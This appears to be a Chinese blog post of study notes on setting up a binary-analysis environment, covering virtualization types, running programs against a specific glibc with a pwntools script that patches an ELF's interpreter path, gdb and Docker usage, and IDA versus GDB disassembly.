  • 硬件辅助虚拟化,由硬件平台对特殊指令进行截获和重定向,交由虚拟机管理程序进行处理,这需要 CPU、主板、BIOS 和软件的支持,例如 Intel VT-x。
  • 半虚拟化,修改开源操作系统,在其中加入与虚拟机管理程序协同的代码,但不需要进行拦截和模拟,性能更高,如 Hyper-V。
  • 全虚拟化,不需要对操作系统进行改动,提供了完整的包括处理器、内存和外设的虚拟化平台,对虚拟机中运行的高权限指令进行拦截和模拟,保证相关操作隔离在当前虚拟机中。如 VMware、VirtualBox、QEMU。

 编译 debug 版本的 glibc,并在编译源代码中使用:

image-20240508150349382

 使用某版本 libc 运行其它已编译的程序:

1
方法 1:/usr/local/glibc-2.26/lib/ld-2.26.so ./hello
1
方法 2:替换 ELF 文件中的解释器路径(PT_INTERP),解释器指定了 ELF 可执行文件在运行时应当使用的动态链接器的路径,动态链接器负责在程序启动前加载动态库,解析动态符号,并进行重定位。可以使用如下脚本来更改:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# change_ld.py
import os
import argparse
from pwn import *

def change_ld(binary, ld, output):
if not binary or not ld or not output:
log.failure("Error")
return None

binary = ELF(binary)
for s in binary.segments:
if s.header['p_type'] == "PT_INTERP":
size = s.header['p_memsz']
addr = s.header['p_paddr']
data = s.data()
if size <= len(ld):
log.failure("Error")
return None
binary.write(addr, "/lib64/ld-glibc-{}".format(ld).ljust(size, '\0'))
if os.access(output, os.F_OK):
os.remove(output)
binary.save(output)
os.chmod(output, 0b111000000) # rwx


parser = argparse.ArgumentParser(description="Force to use assigned new ld.so by changing binary")
parser.add_argument("-b", dest="binary")
parser.add_argument("-l", dest="ld")
parser.add_argument("-o", dest="output")
args = parser.parse_args()

change_ld(args.binary, args.ld, args.output)

 运行脚本前需要创建一个 ld 的符号链接:

1
sudo ln -s /usr/local/glibc-2.26/lib/ld-2.26.so /lib64/ld-glibc-2.26

 要调试一个程序,并了解其是如何与 glibc 交互的,可以使用:

1
gdb `find ~/path/to/glibc/source -type d -printf '-d %p'` ./a.out

 Docker 使用使用进程级别的隔离,并使用宿主机的内核,而没有对整个操作系统进行虚拟化,因此和虚拟机相比,它的隔离性较差。其与虚拟机的差别如下所示:

image-20240508155702375

 Dockerfile 是 image 文件的配置信息,Docker 会根据 Dockerfile 来生成 image 文件。

 IDA 与 GDB 的反汇编算法:

1
2
3
GDB 采用的是线性扫描算法,就是按部就班的反汇编。

IDA 采用的是递归下降算法,其主要优点是基于控制流,区分代码和数据的能力更强,不会错误地将数据值作为代码。递归下降算法的主要缺点是,它无法处理间接代码路径,如利用指针表查找目标地址的跳转。

 IDA 常用的插件:

image-20240508160447929

 一些工具的使用见 P115-P142。

留言

© 2024 wd-z711

⬆︎TOP